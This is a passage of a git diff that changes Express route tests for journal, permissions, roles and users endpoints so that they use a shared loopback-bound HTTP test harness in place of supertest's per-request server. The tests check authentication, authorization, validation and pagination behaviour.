`Bearer ${adminToken}`); @@ -303,7 +319,7 @@ describe("Journal Router", () => { }); it("should return empty results for non-matching query", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/journal/search") .set("Authorization", `Bearer ${adminToken}`) .query({ q: "nonexistent_xyz_query" }); @@ -313,7 +329,7 @@ describe("Journal Router", () => { }); it("should support pagination in search", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/journal/search") .set("Authorization", `Bearer ${adminToken}`) .query({ q: "node", limit: 1, offset: 0 }); diff --git a/backend/test/routes/permissions.test.ts b/backend/test/routes/permissions.test.ts index e0abc59a..56e8144f 100644 --- a/backend/test/routes/permissions.test.ts +++ b/backend/test/routes/permissions.test.ts @@ -1,5 +1,7 @@ import express, { Express } from 'express'; import request from 'supertest'; +import { beforeAll, afterAll } from 'vitest'; +import { createHttpHarness, type HttpHarness } from '../helpers/httpHarness'; import { createPermissionsRouter } from '../../src/routes/permissions'; import { DatabaseService } from '../../src/database/DatabaseService'; import { AuthenticationService } from '../../src/services/AuthenticationService'; @@ -7,6 +9,20 @@ import { UserService } from '../../src/services/UserService'; import { PermissionService } from '../../src/services/PermissionService'; import { RoleService } from '../../src/services/RoleService'; +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + describe('Permissions Router', () => { let app: Express; let databaseService: DatabaseService; @@ -121,7 +137,7 @@ describe('Permissions Router', () => { describe('POST /api/permissions', () => { it('should create a new permission with valid data', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/permissions') .set('Authorization', `Bearer ${adminToken}`) .send({ @@ -138,7 +154,7 @@ describe('Permissions Router', () => { }); it('should return 401 when not authenticated', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/permissions') .send({ resource: 'test_resource', @@ -150,7 +166,7 @@ describe('Permissions Router', () => { }); it('should return 403 when user lacks permissions:write permission', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/permissions') .set('Authorization', `Bearer ${regularUserToken}`) .send({ @@ -163,7 +179,7 @@ describe('Permissions Router', () => { }); it('should return 400 when resource is invalid', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/permissions') .set('Authorization', `Bearer ${adminToken}`) .send({ @@ -177,7 +193,7 @@ describe('Permissions Router', () => { }); it('should return 400 when action is invalid', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/permissions') .set('Authorization', `Bearer ${adminToken}`) .send({ @@ -191,7 +207,7 @@ describe('Permissions Router', () => { }); it('should return 400 when resource is too short', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/permissions') .set('Authorization', `Bearer ${adminToken}`) .send({ @@ -205,7 +221,7 @@ describe('Permissions Router', () => { }); it('should return 400 when action is too short', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/permissions') .set('Authorization', `Bearer ${adminToken}`) .send({ @@ -220,7 +236,7 @@ describe('Permissions Router', () => { it('should return 409 when permission with same resource-action already exists', async () => { // Create first permission - await request(app) + await request(harness.use(app)) .post('/api/permissions') .set('Authorization', `Bearer ${adminToken}`) .send({ @@ -230,7 +246,7 @@ describe('Permissions Router', () => { }); // Try to create duplicate - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/permissions') .set('Authorization', `Bearer ${adminToken}`) .send({ @@ -245,7 +261,7 @@ describe('Permissions Router', () => { }); it('should return 400 when description is too long', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/permissions') .set('Authorization', `Bearer ${adminToken}`) .send({ @@ -259,7 +275,7 @@ describe('Permissions Router', () => { }); it('should return 400 when required fields are missing', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/permissions') .set('Authorization', `Bearer ${adminToken}`) .send({ @@ -292,7 +308,7 @@ describe('Permissions Router', () => { }); it('should return paginated list of permissions', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/permissions') .set('Authorization', `Bearer ${adminToken}`) .query({ page: 1, limit: 10 }); @@ -309,14 +325,14 @@ describe('Permissions Router', () => { }); it('should return 401 when not authenticated', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/permissions'); expect(response.status).toBe(401); }); it('should return 403 when user lacks permissions:read permission', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/permissions') .set('Authorization', `Bearer ${regularUserToken}`); @@ -324,7 +340,7 @@ describe('Permissions Router', () => { }); it('should support pagination with different page sizes', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/permissions') .set('Authorization', `Bearer ${adminToken}`) .query({ page: 1, limit: 5 }); @@ -335,7 +351,7 @@ describe('Permissions Router', () => { }); it('should default to page 1 and limit 20 when not specified', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/permissions') .set('Authorization', `Bearer ${adminToken}`); @@ -345,7 +361,7 @@ describe('Permissions Router', () => { }); it('should return 400 when page is invalid', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/permissions') .set('Authorization', `Bearer ${adminToken}`) .query({ page: 0 }); @@ -355,7 +371,7 @@ describe('Permissions Router', () => { }); it('should return 400 when limit exceeds maximum', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/permissions') .set('Authorization', `Bearer ${adminToken}`) .query({ limit: 101 }); @@ -365,7 +381,7 @@ describe('Permissions Router', () => { }); it('should include all permission fields in response', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/permissions') .set('Authorization', `Bearer ${adminToken}`) .query({ page: 1, limit: 1 }); diff --git a/backend/test/routes/roles-permissions.test.ts b/backend/test/routes/roles-permissions.test.ts index c5de45ec..dd68a5ef 100644 --- a/backend/test/routes/roles-permissions.test.ts +++ b/backend/test/routes/roles-permissions.test.ts @@ -1,5 +1,7 @@ import express, { Express } from 'express'; import request from 'supertest'; +import { beforeAll, afterAll } from 'vitest'; +import { createHttpHarness, type HttpHarness } from '../helpers/httpHarness'; import { createRolesRouter } from '../../src/routes/roles'; import { DatabaseService } from '../../src/database/DatabaseService'; import { randomUUID } from 'crypto'; @@ -8,6 +10,20 @@ import { UserService } from '../../src/services/UserService'; import { PermissionService } from '../../src/services/PermissionService'; import { RoleService } from '../../src/services/RoleService'; +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + describe('Roles Router - Role-Permission Association Routes', () => { let app: Express; let databaseService: DatabaseService; @@ -130,7 +146,7 @@ describe('Roles Router - Role-Permission Association Routes', () => { describe('POST /api/roles/:id/permissions/:permissionId', () => { describe('Authentication and Authorization', () => { it('should return 401 when no token is provided', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post(`/api/roles/${testRoleId}/permissions/${testPermissionId}`) .send() .expect(401); @@ -139,7 +155,7 @@ describe('Roles Router - Role-Permission Association Routes', () => { }); it('should return 403 when user lacks roles:write permission', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post(`/api/roles/${testRoleId}/permissions/${testPermissionId}`) .send() .set('Authorization', `Bearer ${regularUserToken}`) @@ -152,7 +168,7 @@ describe('Roles Router - Role-Permission Association Routes', () => { describe('Success Cases', () => { it('should assign permission to role successfully', async () => { - await request(app) + await request(harness.use(app)) .post(`/api/roles/${testRoleId}/permissions/${testPermissionId}`) .send() .set('Authorization', `Bearer ${adminToken}`) @@ -173,14 +189,14 @@ describe('Roles Router - Role-Permission Association Routes', () => { }); // Assign first permission - await request(app) + await request(harness.use(app)) .post(`/api/roles/${testRoleId}/permissions/${testPermissionId}`) .send() .set('Authorization', `Bearer ${adminToken}`) .expect(204); // Assign second permission - await request(app) + await request(harness.use(app)) .post(`/api/roles/${testRoleId}/permissions/${secondPermission.id}`) .send() .set('Authorization', `Bearer ${adminToken}`) @@ -198,7 +214,7 @@ describe('Roles Router - Role-Permission Association Routes', () => { describe('Error Cases', () => { it('should return 404 when role does not exist', async () => { const fakeId = randomUUID(); - const response = await request(app) + const response = await request(harness.use(app)) .post(`/api/roles/${fakeId}/permissions/${testPermissionId}`) .send() .set('Authorization', `Bearer ${adminToken}`) @@ -210,7 +226,7 @@ describe('Roles Router - Role-Permission Association Routes', () => { it('should return 404 when permission does not exist', async () => { const fakeId = randomUUID(); - const response = await request(app) + const response = await request(harness.use(app)) .post(`/api/roles/${testRoleId}/permissions/${fakeId}`) .send() .set('Authorization', `Bearer ${adminToken}`) @@ -222,14 +238,14 @@ describe('Roles Router - Role-Permission Association Routes', () => { it('should handle duplicate permission assignment gracefully (idempotent)', async () => { // Assign permission first time - await request(app) + await request(harness.use(app)) .post(`/api/roles/${testRoleId}/permissions/${testPermissionId}`) .send() .set('Authorization', `Bearer ${adminToken}`) .expect(204); // Try to assign again - should succeed (idempotent) - await request(app) + await request(harness.use(app)) .post(`/api/roles/${testRoleId}/permissions/${testPermissionId}`) .send() .set('Authorization', `Bearer ${adminToken}`) @@ -244,7 +260,7 @@ describe('Roles Router - Role-Permission Association Routes', () => { describe('Permission Inheritance', () => { it('should grant permission to users with the role', async () => { // Assign permission to role - await request(app) + await request(harness.use(app)) .post(`/api/roles/${testRoleId}/permissions/${testPermissionId}`) .send() .set('Authorization', `Bearer ${adminToken}`) @@ -272,7 +288,7 @@ describe('Roles Router - Role-Permission Association Routes', () => { describe('Authentication and Authorization', () => { it('should return 401 when no token is provided', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .delete(`/api/roles/${testRoleId}/permissions/${testPermissionId}`) .send() .expect(401); @@ -281,7 +297,7 @@ describe('Roles Router - Role-Permission Association Routes', () => { }); it('should return 403 when user lacks roles:write permission', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .delete(`/api/roles/${testRoleId}/permissions/${testPermissionId}`) .send() .set('Authorization', `Bearer ${regularUserToken}`) @@ -294,7 +310,7 @@ describe('Roles Router - Role-Permission Association Routes', () => { describe('Success Cases', () => { it('should remove permission from role successfully', async () => { - await request(app) + await request(harness.use(app)) .delete(`/api/roles/${testRoleId}/permissions/${testPermissionId}`) .send() .set('Authorization', `Bearer ${adminToken}`) @@ -318,7 +334,7 @@ describe('Roles Router - Role-Permission Association Routes', () => { expect(hasPermission).toBe(true); // Remove permission from role - await request(app) + await request(harness.use(app)) .delete(`/api/roles/${testRoleId}/permissions/${testPermissionId}`) .send() .set('Authorization', `Bearer ${adminToken}`) @@ -350,7 +366,7 @@ describe('Roles Router - Role-Permission Association Routes', () => { expect(permissions).toHaveLength(2); // Remove first permission - await request(app) + await request(harness.use(app)) .delete(`/api/roles/${testRoleId}/permissions/${testPermissionId}`) .send() .set('Authorization', `Bearer ${adminToken}`) @@ -368,7 +384,7 @@ describe('Roles Router - Role-Permission Association Routes', () => { const fakeId = randomUUID(); // Should succeed even if permission doesn't exist (idempotent) - await request(app) + await request(harness.use(app)) .delete(`/api/roles/${testRoleId}/permissions/${fakeId}`) .send() .set('Authorization', `Bearer ${adminToken}`) @@ -377,14 +393,14 @@ describe('Roles Router - Role-Permission Association Routes', () => { it('should handle removing already removed permission gracefully (idempotent)', async () => { // Remove permission first time - await request(app) + await request(harness.use(app)) .delete(`/api/roles/${testRoleId}/permissions/${testPermissionId}`) .send() .set('Authorization', `Bearer ${adminToken}`) .expect(204); // Try to remove again - should succeed (idempotent) - await request(app) + await request(harness.use(app)) .delete(`/api/roles/${testRoleId}/permissions/${testPermissionId}`) .send() .set('Authorization', `Bearer ${adminToken}`) diff --git a/backend/test/routes/users.test.ts b/backend/test/routes/users.test.ts index 2e0e05b4..4741c192 100644 --- a/backend/test/routes/users.test.ts +++ b/backend/test/routes/users.test.ts @@ -1,6 +1,7 @@ -import { describe, it, expect, beforeEach, afterEach } from 'vitest'; +import { describe, it, expect, beforeEach, afterEach, beforeAll, afterAll } from 'vitest'; import express, { Express } from 'express'; import request from 'supertest'; +import { createHttpHarness, type HttpHarness } from '../helpers/httpHarness'; import { createUsersRouter } from '../../src/routes/users'; import { DatabaseService } from '../../src/database/DatabaseService'; import { randomUUID } from 'crypto'; @@ -17,6 +18,20 @@ async function disableDefaultRoleAssignment(databaseService: DatabaseService): P ); } +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + describe('Users Router - GET /api/users', () => { let app: Express; let databaseService: DatabaseService; @@ -131,7 +146,7 @@ describe('Users Router - GET /api/users', () => { describe('Authentication and Authorization', () => { it('should return 401 when no token is provided', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/users') .expect(401); @@ -140,7 +155,7 @@ describe('Users Router - GET /api/users', () => { }); it('should return 401 when invalid token is provided', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/users') .set('Authorization', 'Bearer invalid-token') .expect(401); @@ -150,7 +165,7 @@ describe('Users Router - GET /api/users', () => { }); it('should return 403 when user lacks users:read permission', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/users') .set('Authorization', `Bearer ${regularUserToken}`) .expect(403); @@ -164,7 +179,7 @@ describe('Users Router - GET /api/users', () => { }); it('should return 200 when user has users:read permission', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/users') .set('Authorization', `Bearer ${adminToken}`) .expect(200); @@ -189,7 +204,7 @@ describe('Users Router - GET /api/users', () => { }); it('should return first page with default limit of 20', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/users') .set('Authorization', `Bearer ${adminToken}`) .expect(200); @@ -204,7 +219,7 @@ describe('Users Router - GET /api/users', () => { }); it('should return second page when page=2', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/users?page=2') .set('Authorization', `Bearer ${adminToken}`) .expect(200); @@ -219,7 +234,7 @@ describe('Users Router - GET /api/users', () => { }); it('should respect custom limit parameter', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/users?limit=10') .set('Authorization', `Bearer ${adminToken}`) .expect(200); @@ -234,7 +249,7 @@ describe('Users Router - GET /api/users', () => { }); it('should handle page and limit together', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/users?page=2&limit=10') .set('Authorization', `Bearer ${adminToken}`) .expect(200); @@ -249,7 +264,7 @@ describe('Users Router - GET /api/users', () => { }); it('should enforce maximum limit of 100', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/users?limit=150') .set('Authorization', `Bearer ${adminToken}`) .expect(400); // Zod validation rejects values > 100 @@ -258,7 +273,7 @@ describe('Users Router - GET /api/users', () => { }); it('should return empty array for page beyond total pages', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/users?page=100') .set('Authorization', `Bearer ${adminToken}`) .expect(200); @@ -270,7 +285,7 @@ describe('Users Router - GET /api/users', () => { describe('Response Format', () => { it('should return users as DTOs without password hashes', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/users') .set('Authorization', `Bearer ${adminToken}`) .expect(200); @@ -294,7 +309,7 @@ describe('Users Router - GET /api/users', () => { }); it('should include pagination metadata', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/users') .set('Authorization', `Bearer ${adminToken}`) .expect(200); @@ -309,7 +324,7 @@ describe('Users Router - GET /api/users', () => { describe('Validation Errors', () => { it('should return 400 for invalid page parameter', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/users?page=0') .set('Authorization', `Bearer ${adminToken}`) .expect(400); @@ -318,7 +333,7 @@ describe('Users Router - GET /api/users', () => { }); it('should return 400 for invalid limit parameter', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/users?limit=0') .set('Authorization', `Bearer ${adminToken}`) .expect(400); @@ -327,7 +342,7 @@ describe('Users Router - GET /api/users', () => { }); it('should return 400 for non-numeric page parameter', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/users?page=abc') .set('Authorization', `Bearer ${adminToken}`) .expect(400); @@ -350,7 +365,7 @@ describe('Users Router - GET /api/users', () => { const superAdminToken = await authService.generateToken(superAdmin); - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/users') .set('Authorization', `Bearer ${superAdminToken}`) .expect(200); @@ -484,7 +499,7 @@ describe('Users Router - GET /api/users/:id', () => { describe('Authentication and Authorization', () => { it('should return 401 when no token is provided', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get(`/api/users/${testUserId}`) .expect(401); @@ -493,7 +508,7 @@ describe('Users Router - GET /api/users/:id', () => { }); it('should return 401 when invalid token is provided', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get(`/api/users/${testUserId}`) .set('Authorization', 'Bearer invalid-token') .expect(401); @@ -503,7 +518,7 @@ describe('Users Router - GET /api/users/:id', () => { }); it('should return 403 when user lacks users:read permission', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${regularUserToken}`) .expect(403); @@ -517,7 +532,7 @@ describe('Users Router - GET /api/users/:id', () => { }); it('should return 200 when user has users:read permission', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(200); @@ -530,7 +545,7 @@ describe('Users Router - GET /api/users/:id', () => { describe('User Retrieval', () => { it('should return 404 when user does not exist', async () => { const nonExistentId = randomUUID(); - const response = await request(app) + const response = await request(harness.use(app)) .get(`/api/users/${nonExistentId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(404); @@ -540,7 +555,7 @@ describe('Users Router - GET /api/users/:id', () => { }); it('should return user without password hash', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(200); @@ -558,7 +573,7 @@ describe('Users Router - GET /api/users/:id', () => { }); it('should include empty groups array when user has no groups', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(200); @@ -569,7 +584,7 @@ describe('Users Router - GET /api/users/:id', () => { }); it('should include empty roles array when user has no roles', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(200); @@ -593,7 +608,7 @@ describe('Users Router - GET /api/users/:id', () => { // Add user to group await userService.addUserToGroup(testUserId, groupId); - const response = await request(app) + const response = await request(harness.use(app)) .get(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(200); @@ -616,7 +631,7 @@ describe('Users Router - GET /api/users/:id', () => { // Assign role to user await userService.assignRoleToUser(testUserId, role.id); - const response = await request(app) + const response = await request(harness.use(app)) .get(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(200); @@ -664,7 +679,7 @@ describe('Users Router - GET /api/users/:id', () => { await userService.assignRoleToUser(testUserId, role1.id); await userService.assignRoleToUser(testUserId, role2.id); - const response = await request(app) + const response = await request(harness.use(app)) .get(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(200); @@ -696,7 +711,7 @@ describe('Users Router - GET /api/users/:id', () => { const superAdminToken = await authService.generateToken(superAdmin); - const response = await request(app) + const response = await request(harness.use(app)) .get(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${superAdminToken}`) .expect(200); @@ -848,7 +863,7 @@ describe('Users Router - PUT /api/users/:id', () => { describe('Authentication and Authorization', () => { it('should return 401 when no token is provided', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .put(`/api/users/${testUserId}`) .send({ firstName: 'Updated' }) .expect(401); @@ -858,7 +873,7 @@ describe('Users Router - PUT /api/users/:id', () => { }); it('should return 401 when invalid token is provided', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .put(`/api/users/${testUserId}`) .set('Authorization', 'Bearer invalid-token') .send({ firstName: 'Updated' }) @@ -869,7 +884,7 @@ describe('Users Router - PUT /api/users/:id', () => { }); it('should return 403 when user lacks users:write permission', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .put(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${regularUserToken}`) .send({ firstName: 'Updated' }) @@ -884,7 +899,7 @@ describe('Users Router - PUT /api/users/:id', () => { }); it('should return 200 when user has users:write permission', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .put(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .send({ firstName: 'Updated' }) @@ -897,7 +912,7 @@ describe('Users Router - PUT /api/users/:id', () => { describe('User Update', () => { it('should return 404 when user does not exist', async () => { const nonExistentId = randomUUID(); - const response = await request(app) + const response = await request(harness.use(app)) .put(`/api/users/${nonExistentId}`) .set('Authorization', `Bearer ${adminToken}`) .send({ firstName: 'Updated' }) @@ -908,7 +923,7 @@ describe('Users Router - PUT /api/users/:id', () => { }); it('should update user email', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .put(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .send({ email: 'newemail@test.com' }) @@ -919,7 +934,7 @@ describe('Users Router - PUT /api/users/:id', () => { }); it('should update user first_name', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .put(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .send({ firstName: 'NewFirstName' }) @@ -930,7 +945,7 @@ describe('Users Router - PUT /api/users/:id', () => { }); it('should update user last_name', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .put(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .send({ lastName: 'NewLastName' }) @@ -941,7 +956,7 @@ describe('Users Router - PUT /api/users/:id', () => { }); it('should update user password', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .put(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .send({ password: 'NewPassword123!' }) @@ -955,7 +970,7 @@ describe('Users Router - PUT /api/users/:id', () => { }); it('should update user is_active status', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .put(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .send({ isActive: false }) @@ -967,7 +982,7 @@ describe('Users Router - PUT /api/users/:id', () => { it('should reject is_admin in the generic update endpoint (A1)', async () => { // Per A1: isAdmin is removed from the schema; elevation goes through // PUT /:id/admin-status. Sending it here hits the strict-mode unknown-key path. - const response = await request(app) + const response = await request(harness.use(app)) .put(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .send({ isAdmin: true }) @@ -977,7 +992,7 @@ describe('Users Router - PUT /api/users/:id', () => { }); it('should update is_admin via the dedicated admin-status endpoint', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .put(`/api/users/${testUserId}/admin-status`) .set('Authorization', `Bearer ${adminToken}`) .send({ isAdmin: true }) @@ -987,7 +1002,7 @@ describe('Users Router - PUT /api/users/:id', () => { }); it('should update multiple fields at once', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .put(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .send({ @@ -1011,7 +1026,7 @@ describe('Users Router - PUT /api/users/:id', () => { // Wait a bit to ensure timestamp difference await new Promise(resolve => setTimeout(resolve, 10)); - const response = await request(app) + const response = await request(harness.use(app)) .put(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .send({ firstName: 'Updated' }) @@ -1023,7 +1038,7 @@ describe('Users Router - PUT /api/users/:id', () => { describe('Validation', () => { it('should return 400 for invalid email format', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .put(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .send({ email: 'invalid-email' }) @@ -1034,7 +1049,7 @@ describe('Users Router - PUT /api/users/:id', () => { }); it('should return 400 for empty firstName', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .put(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .send({ firstName: '' }) @@ -1044,7 +1059,7 @@ describe('Users Router - PUT /api/users/:id', () => { }); it('should return 400 for empty lastName', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .put(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .send({ lastName: '' }) @@ -1054,7 +1069,7 @@ describe('Users Router - PUT /api/users/:id', () => { }); it('should return 400 for firstName exceeding 100 characters', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .put(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .send({ firstName: 'a'.repeat(101) }) @@ -1064,7 +1079,7 @@ describe('Users Router - PUT /api/users/:id', () => { }); it('should return 400 for lastName exceeding 100 characters', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .put(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .send({ lastName: 'a'.repeat(101) }) @@ -1074,7 +1089,7 @@ describe('Users Router - PUT /api/users/:id', () => { }); it('should return 400 for password less than 8 characters', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .put(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .send({ password: 'Short1!' }) @@ -1084,7 +1099,7 @@ describe('Users Router - PUT /api/users/:id', () => { }); it('should return 400 for password without uppercase letter', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .put(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .send({ password: 'lowercase123!' }) @@ -1095,7 +1110,7 @@ describe('Users Router - PUT /api/users/:id', () => { }); it('should return 400 for password without lowercase letter', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .put(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .send({ password: 'UPPERCASE123!' }) @@ -1106,7 +1121,7 @@ describe('Users Router - PUT /api/users/:id', () => { }); it('should return 400 for password without number', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .put(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .send({ password: 'NoNumbers!' }) @@ -1117,7 +1132,7 @@ describe('Users Router - PUT /api/users/:id', () => { }); it('should return 400 for password without special character', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .put(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .send({ password: 'NoSpecial123' }) @@ -1128,7 +1143,7 @@ describe('Users Router - PUT /api/users/:id', () => { }); it('should return 400 for invalid isActive type', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .put(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .send({ isActive: 'not-a-boolean' }) @@ -1140,7 +1155,7 @@ describe('Users Router - PUT /api/users/:id', () => { it('should return 400 for isAdmin field (unknown key per A1)', async () => { // Per A1, isAdmin is removed from this endpoint's schema entirely — // any value (boolean or otherwise) is rejected as an unknown key. - const response = await request(app) + const response = await request(harness.use(app)) .put(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .send({ isAdmin: 'not-a-boolean' }) @@ -1150,7 +1165,7 @@ describe('Users Router - PUT /api/users/:id', () => { }); it('should return 400 for unknown fields (strict mode)', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .put(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .send({ unknownField: 'value' }) @@ -1172,7 +1187,7 @@ describe('Users Router - PUT /api/users/:id', () => { }); // Try to update test user's email to the existing email - const response = await request(app) + const response = await request(harness.use(app)) .put(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .send({ email: 'another@test.com' }) @@ -1184,7 +1199,7 @@ describe('Users Router - PUT /api/users/:id', () => { }); it('should allow updating email to the same email (no change)', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .put(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .send({ email: 'test@test.com' }) @@ -1208,7 +1223,7 @@ describe('Users Router - PUT /api/users/:id', () => { const superAdminToken = await authService.generateToken(superAdmin); - const response = await request(app) + const response = await request(harness.use(app)) .put(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${superAdminToken}`) .send({ firstName: 'AdminUpdated' }) @@ -1220,7 +1235,7 @@ describe('Users Router - PUT /api/users/:id', () => { describe('Response Format', () => { it('should return updated user as DTO without password hash', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .put(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .send({ firstName: 'Updated' }) @@ -1241,7 +1256,7 @@ describe('Users Router - PUT /api/users/:id', () => { describe('Edge Cases', () => { it('should handle empty update object', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .put(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .send({}) @@ -1253,7 +1268,7 @@ describe('Users Router - PUT /api/users/:id', () => { }); it('should handle updating only password', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .put(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .send({ password: 'NewSecurePass123!' }) @@ -1271,7 +1286,7 @@ describe('Users Router - PUT /api/users/:id', () => { }); it('should handle deactivating a user', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .put(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .send({ isActive: false }) @@ -1453,7 +1468,7 @@ describe('Users Router - DELETE /api/users/:id', () => { describe('Authentication and Authorization', () => { it('should return 401 when no token is provided', async () => { - const response = await 